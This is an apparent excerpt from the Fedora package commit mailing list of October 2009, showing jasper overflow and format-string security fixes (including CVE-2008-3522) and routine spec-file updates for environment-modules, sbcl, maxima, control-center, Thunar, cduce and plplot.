@@ -633,7 +633,7 @@ void jpc_qmfb_join_row(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -698,7 +698,7 @@ void jpc_qmfb_join_col(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -766,7 +766,7 @@ void jpc_qmfb_join_colgrp(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -852,7 +852,7 @@ void jpc_qmfb_join_colres(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * numcols * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -219,7 +219,7 @@ int jpc_enc_enccblk(jpc_enc_t *enc, jas_
 
 	cblk->numpasses = (cblk->numbps > 0) ? (3 * cblk->numbps - 2) : 0;
 	if (cblk->numpasses > 0) {
-		cblk->passes = jas_malloc(cblk->numpasses * sizeof(jpc_enc_pass_t));
+		cblk->passes = jas_alloc2(cblk->numpasses, sizeof(jpc_enc_pass_t));
 		assert(cblk->passes);
 	} else {
 		cblk->passes = 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -573,7 +573,7 @@ int jpc_pchglist_insert(jpc_pchglist_t *
 	}
 	if (pchglist->numpchgs >= pchglist->maxpchgs) {
 		newmaxpchgs = pchglist->maxpchgs + 128;
-		if (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {
+		if (!(newpchgs = jas_realloc2(pchglist->pchgs, newmaxpchgs, sizeof(jpc_pchg_t *)))) {
 			return -1;
 		}
 		pchglist->maxpchgs = newmaxpchgs;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -478,7 +478,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		return 0;
 	}
 	pi->numcomps = dec->numcomps;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -490,7 +490,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 	for (compno = 0, tcomp = tile->tcomps, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -503,7 +503,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		  rlvlno < picomp->numrlvls; ++rlvlno, ++pirlvl, ++rlvl) {
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
-			if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+			if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 			  sizeof(long)))) {
 				jpc_pi_destroy(pi);
 				return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -565,7 +565,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	}
 	pi->pktno = -1;
 	pi->numcomps = cp->numcmpts;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -577,7 +577,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	for (compno = 0, tcomp = tile->tcmpts, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -591,7 +591,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
 			if (rlvl->numprcs) {
-				if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+				if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 				  sizeof(long)))) {
 					jpc_pi_destroy(pi);
 					return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c	2009-10-22 10:27:45.000000000 +0200
@@ -125,7 +125,7 @@ jpc_tagtree_t *jpc_tagtree_create(int nu
 		++numlvls;
 	} while (n > 1);
 
-	if (!(tree->nodes_ = jas_malloc(tree->numnodes_ * sizeof(jpc_tagtreenode_t)))) {
+	if (!(tree->nodes_ = jas_alloc2(tree->numnodes_, sizeof(jpc_tagtreenode_t)))) {
 		return 0;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c jasper-1.900.1/src/libjasper/jpc/jpc_util.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_util.c	2009-10-22 10:27:45.000000000 +0200
@@ -109,7 +109,7 @@ int jpc_atoaf(char *s, int *numvalues, d
 	}
 
 	if (n) {
-		if (!(vs = jas_malloc(n * sizeof(double)))) {
+		if (!(vs = jas_alloc2(n, sizeof(double)))) {
 			return -1;
 		}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c jasper-1.900.1/src/libjasper/mif/mif_cod.c
--- jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/mif/mif_cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -438,8 +438,7 @@ static int mif_hdr_growcmpts(mif_hdr_t *
 	int cmptno;
 	mif_cmpt_t **newcmpts;
 	assert(maxcmpts >= hdr->numcmpts);
-	newcmpts = (!hdr->cmpts) ? jas_malloc(maxcmpts * sizeof(mif_cmpt_t *)) :
-	  jas_realloc(hdr->cmpts, maxcmpts * sizeof(mif_cmpt_t *));
+	newcmpts = jas_realloc2(hdr->cmpts, maxcmpts, sizeof(mif_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}

jasper-1.900.1-CVE-2008-3522.patch:
 jas_stream.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3522.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:35:53.000000000 +0200
@@ -553,7 +553,7 @@ int jas_stream_printf(jas_stream_t *stre
 	int ret;
 
 	va_start(ap, fmt);
-	ret = vsprintf(buf, fmt, ap);
+	ret = vsnprintf(buf, sizeof buf, fmt, ap);
 	jas_stream_puts(stream, buf);
 	va_end(ap);
 	return ret;



From orion at fedoraproject.org  Mon Oct 26 16:55:07 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 26 Oct 2009 16:55:07 +0000 (UTC)
Subject: rpms/environment-modules/F-12 environment-modules.spec, 1.26,
	1.27 modules.sh, 1.2, 1.3
Message-ID: <20091026165507.CDE1911C0268@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1109

Modified Files:
	environment-modules.spec modules.sh 
Log Message:
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-5
- Don't assume different shell init scripts exist (bug #530770)



Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-12/environment-modules.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- environment-modules.spec	23 Oct 2009 18:22:16 -0000	1.26
+++ environment-modules.spec	26 Oct 2009 16:55:06 -0000	1.27
@@ -1,6 +1,6 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-5
+- Don't assume different shell init scripts exist (bug #530770)
+
 * Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
 - Don't load bash init script when bash is running as "sh" (bug #529745)
 


Index: modules.sh
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-12/modules.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- modules.sh	23 Oct 2009 18:22:17 -0000	1.2
+++ modules.sh	26 Oct 2009 16:55:07 -0000	1.3
@@ -1 +1,7 @@
-. /usr/share/Modules/init/`basename \`ps -p $$ -ocomm=\``
+shell=`/bin/basename \`/bin/ps -p $$ -ocomm=\``
+if [ -f /usr/share/Modules/init/$shell ]
+then
+  . /usr/share/Modules/init/$shell
+else
+  . /usr/share/Modules/init/sh
+fi



From rdieter at fedoraproject.org  Mon Oct 26 16:55:37 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:55:37 +0000 (UTC)
Subject: rpms/sbcl/devel .cvsignore, 1.49, 1.50 sbcl.spec, 1.111,
	1.112 sources, 1.50, 1.51
Message-ID: <20091026165537.D593B11C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/sbcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1445

Modified Files:
	.cvsignore sbcl.spec sources 
Log Message:
* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.32-1
- sbcl-1.0.32



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sbcl/devel/.cvsignore,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- .cvsignore	28 Jul 2009 13:21:14 -0000	1.49
+++ .cvsignore	26 Oct 2009 16:55:37 -0000	1.50
@@ -1 +1 @@
-sbcl-1.0.30-source.tar.bz2
+sbcl-1.0.32-source.tar.bz2


Index: sbcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sbcl/devel/sbcl.spec,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- sbcl.spec	18 Aug 2009 21:05:54 -0000	1.111
+++ sbcl.spec	26 Oct 2009 16:55:37 -0000	1.112
@@ -15,8 +15,8 @@
 
 Name: 	 sbcl
 Summary: Steel Bank Common Lisp
-Version: 1.0.30
-Release: 2%{?dist}
+Version: 1.0.32
+Release: 1%{?dist}
 
 License: BSD
 Group: 	 Development/Languages
@@ -263,6 +263,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.32-1
+- sbcl-1.0.32
+
 * Tue Aug 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.30-2
 - customize version.lisp-expr for rpm %%release
 - s|%%_libdir|%%_prefix/lib|, so common-lisp-controller has at least


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sbcl/devel/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	28 Jul 2009 13:21:14 -0000	1.50
+++ sources	26 Oct 2009 16:55:37 -0000	1.51
@@ -1 +1 @@
-64a96ad21a5d57f27639c0801c00fe74  sbcl-1.0.30-source.tar.bz2
+95e1f683e307fa4cbf053db37fbd1456  sbcl-1.0.32-source.tar.bz2



From rdieter at fedoraproject.org  Mon Oct 26 16:57:13 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:57:13 +0000 (UTC)
Subject: rpms/maxima/devel maxima.spec,1.140,1.141
Message-ID: <20091026165713.E906311C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/maxima/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1860

Modified Files:
	maxima.spec 
Log Message:
* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 5.19.2-3
- rebuild (sbcl)



Index: maxima.spec
===================================================================
RCS file: /cvs/pkgs/rpms/maxima/devel/maxima.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- maxima.spec	30 Sep 2009 18:05:39 -0000	1.140
+++ maxima.spec	26 Oct 2009 16:57:13 -0000	1.141
@@ -3,7 +3,7 @@ Summary: Symbolic Computation Program
 Name: 	 maxima
 Version: 5.19.2
 
-Release: 2%{?dist} 
+Release: 3%{?dist} 
 License: GPLv2
 Group:	 Applications/Engineering 
 URL: 	 http://maxima.sourceforge.net/
@@ -431,6 +431,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 5.19.2-3
+- rebuild (sbcl)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 5.19.2-2
 - rebuild (cmucl)
 



From orion at fedoraproject.org  Mon Oct 26 17:01:51 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 26 Oct 2009 17:01:51 +0000 (UTC)
Subject: rpms/environment-modules/F-11 environment-modules.spec, 1.23,
	1.24 modules.sh, 1.2, 1.3
Message-ID: <20091026170151.778DC11C029D@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3602/F-11

Modified Files:
	environment-modules.spec modules.sh 
Log Message:
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-5
- Don't assume different shell init scripts exist (bug #530770)



Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-11/environment-modules.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- environment-modules.spec	23 Oct 2009 18:22:45 -0000	1.23
+++ environment-modules.spec	26 Oct 2009 17:01:50 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-5
+- Don't assume different shell init scripts exist (bug #530770)
+
 * Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
 - Don't load bash init script when bash is running as "sh" (bug #529745)
 


Index: modules.sh
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-11/modules.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- modules.sh	23 Oct 2009 18:22:46 -0000	1.2
+++ modules.sh	26 Oct 2009 17:01:50 -0000	1.3
@@ -1 +1,7 @@
-. /usr/share/Modules/init/`basename \`ps -p $$ -ocomm=\``
+shell=`/bin/basename \`/bin/ps -p $$ -ocomm=\``
+if [ -f /usr/share/Modules/init/$shell ]
+then
+  . /usr/share/Modules/init/$shell
+else
+  . /usr/share/Modules/init/sh
+fi



From orion at fedoraproject.org  Mon Oct 26 17:01:52 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 26 Oct 2009 17:01:52 +0000 (UTC)
Subject: rpms/environment-modules/devel environment-modules.spec, 1.26,
	1.27 modules.sh, 1.2, 1.3
Message-ID: <20091026170152.312D811C029D@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3602/devel

Modified Files:
	environment-modules.spec modules.sh 
Log Message:
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-5
- Don't assume different shell init scripts exist (bug #530770)



Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/devel/environment-modules.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- environment-modules.spec	23 Oct 2009 18:21:24 -0000	1.26
+++ environment-modules.spec	26 Oct 2009 17:01:51 -0000	1.27
@@ -1,6 +1,6 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-5
+- Don't assume different shell init scripts exist (bug #530770)
+
 * Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
 - Don't load bash init script when bash is running as "sh" (bug #529745)
 


Index: modules.sh
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/devel/modules.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- modules.sh	23 Oct 2009 18:21:24 -0000	1.2
+++ modules.sh	26 Oct 2009 17:01:51 -0000	1.3
@@ -1 +1,7 @@
-. /usr/share/Modules/init/`basename \`ps -p $$ -ocomm=\``
+shell=`/bin/basename \`/bin/ps -p $$ -ocomm=\``
+if [ -f /usr/share/Modules/init/$shell ]
+then
+  . /usr/share/Modules/init/$shell
+else
+  . /usr/share/Modules/init/sh
+fi



From mclasen at fedoraproject.org  Mon Oct 26 17:09:06 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 17:09:06 +0000 (UTC)
Subject: rpms/control-center/F-12 finger-icons.patch, NONE,
	1.1 control-center.spec, 1.499, 1.500
Message-ID: <20091026170906.276C311C0268@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6602

Modified Files:
	control-center.spec 
Added Files:
	finger-icons.patch 
Log Message:
Fix missing fingerprint icons


finger-icons.patch:
 gnome-about-me-fingerprint.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE finger-icons.patch ---
diff -up gnome-control-center-2.28.1/capplets/about-me/gnome-about-me-fingerprint.c.finger-icons gnome-control-center-2.28.1/capplets/about-me/gnome-about-me-fingerprint.c
--- gnome-control-center-2.28.1/capplets/about-me/gnome-about-me-fingerprint.c.finger-icons	2009-10-26 13:02:36.578802754 -0400
+++ gnome-control-center-2.28.1/capplets/about-me/gnome-about-me-fingerprint.c	2009-10-26 13:03:11.893802706 -0400
@@ -468,7 +468,7 @@ assistant_prepare (GtkAssistant *ass, Gt
 		{
 			char *filename;
 
-			filename = g_strdup_printf ("%s.png", data->finger);
+			filename = g_strdup_printf ("%s.svg", data->finger);
 			path = g_build_filename (GNOMECC_PIXMAP_DIR, filename, NULL);
 			g_free (filename);
 		}


Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.499
retrieving revision 1.500
diff -u -p -r1.499 -r1.500
--- control-center.spec	20 Oct 2009 02:00:51 -0000	1.499
+++ control-center.spec	26 Oct 2009 17:09:04 -0000	1.500
@@ -70,6 +70,8 @@ Patch53: keybinding-bugs.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=592348
 Patch54: about-me-delete.patch
 
+Patch55: finger-icons.patch
+
 # call the Fedora/RHEL graphical passwd changing apps
 Patch95: gnome-control-center-2.25.2-passwd.patch
 Patch96: gnome-control-center-2.25.2-gecos.patch
@@ -208,6 +210,7 @@ for the GNOME desktop.
 %patch52 -p1 -b .shell-markup
 %patch53 -p1 -b .keybinding-bugs
 %patch54 -p1 -b .about-me-delete
+%patch55 -p1 -b .finger-icons
 
 # vendor configuration patches
 %patch95 -p1 -b .passwd
@@ -398,6 +401,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-2
+- Fix missing fingerprint icons
+
 * Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
 - Update to 2.28.1, just translation updates
 



From cwickert at fedoraproject.org  Mon Oct 26 17:10:40 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 26 Oct 2009 17:10:40 +0000 (UTC)
Subject: rpms/Thunar/devel Thunar.spec,1.26,1.27
Message-ID: <20091026171040.08C7311C02C6@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Thunar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7564

Modified Files:
	Thunar.spec 
Log Message:
fix exo BuildRequires


Index: Thunar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Thunar/devel/Thunar.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- Thunar.spec	10 Sep 2009 19:04:06 -0000	1.26
+++ Thunar.spec	26 Oct 2009 17:10:39 -0000	1.27
@@ -1,7 +1,9 @@
+%global evo_version 0.3.100
+
 Summary: Thunar File Manager
 Name: Thunar
 Version: 1.0.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 URL: http://thunar.xfce.org/
 Source0: http://www.xfce.org/archive/xfce-4.6.1/src/Thunar-%{version}.tar.bz2
@@ -14,7 +16,7 @@ BuildRequires: libjpeg-devel
 BuildRequires: libexif-devel
 BuildRequires: libpng-devel >= 2:1.2.2-16
 BuildRequires: desktop-file-utils >= 0.7
-BuildRequires: exo-devel >= 0.3.2
+BuildRequires: exo-devel >= %{exo_version}
 BuildRequires: startup-notification-devel >= 0.4
 BuildRequires: intltool gettext
 BuildRequires: dbus-glib-devel 
@@ -49,7 +51,7 @@ Summary: Development tools for Thunar fi
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
-Requires: exo-devel >= 0.3.2
+Requires: exo-devel >= %{exo_version}
 
 %description devel
 libraries and header files for the Thunar file manager.



From mclasen at fedoraproject.org  Mon Oct 26 17:11:03 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 17:11:03 +0000 (UTC)
Subject: rpms/control-center/F-12 control-center.spec,1.500,1.501
Message-ID: <20091026171103.E5EE911C02C6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7624

Modified Files:
	control-center.spec 
Log Message:
bump rev



Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.500
retrieving revision 1.501
diff -u -p -r1.500 -r1.501
--- control-center.spec	26 Oct 2009 17:09:04 -0000	1.500
+++ control-center.spec	26 Oct 2009 17:11:03 -0000	1.501
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops



From rjones at fedoraproject.org  Mon Oct 26 17:48:11 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 26 Oct 2009 17:48:11 +0000 (UTC)
Subject: rpms/cduce/F-11 cduce.spec,1.12,1.13
Message-ID: <20091026174812.01FC211C0264@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/cduce/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18372

Modified Files:
	cduce.spec 
Log Message:
Bump to fix broken dependency (RHBZ#531019).


Index: cduce.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cduce/F-11/cduce.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- cduce.spec	17 Jun 2009 10:44:43 -0000	1.12
+++ cduce.spec	26 Oct 2009 17:48:11 -0000	1.13
@@ -8,7 +8,7 @@
 
 Name:           cduce
 Version:        0.5.2.1
-Release:        14%{?dist}.1
+Release:        14%{?dist}.2
 Summary:        Modern XML-oriented functional language
 
 Group:          Development/Libraries
@@ -165,6 +165,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Richard W.M. Jones <rjones at redhat.com> - 0.5.2.1-14.2
+- Bump to fix broken dependency (RHBZ#531019).
+
 * Wed Jun 17 2009 S390x secondary arch maintainer <fedora-s390x at lists.fedoraproject.org> 0.5.2.1-14.1
 - ExcludeArch s390, s390x as we don't have OCaml on those archs
 



From orion at fedoraproject.org  Mon Oct 26 17:55:15 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 26 Oct 2009 17:55:15 +0000 (UTC)
Subject: rpms/plplot/devel plplot.spec,1.90,1.91
Message-ID: <20091026175515.E588411C0264@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/plplot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20501

Modified Files:
	plplot.spec 
Log Message:
* Mon Oct 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-3
- Create fortran-devel sub-package with fortran development files (bug #523543)



Index: plplot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/devel/plplot.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- plplot.spec	28 Sep 2009 22:45:43 -0000	1.90
+++ plplot.spec	26 Oct 2009 17:55:14 -0000	1.91
@@ -10,7 +10,7 @@
 
 Name:           plplot
 Version:        5.9.5
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        Library of functions for making scientific plots
 
 Group:          Applications/Engineering
@@ -141,6 +141,18 @@ Requires:       gcc-gnat
 %{summary}.
 
 
+%package        fortran-devel
+Summary:        Development files for using PLplot Fortran bindings
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+Requires:       %{name}-devel = %{version}-%{release}
+Requires:       gcc-gfortran%{_isa}
+Requires:       pkgconfig
+
+%description    fortran-devel
+%{summary}.
+
+
 %package        java
 Summary:        Functions for scientific plotting with Java
 Group:          Development/Libraries
@@ -374,6 +386,11 @@ done
 
 rm -rf $RPM_BUILD_ROOT%{_datadir}/plplot%{version}/examples/cmake/modules/Platform
 
+#Move fortran modules to proper location
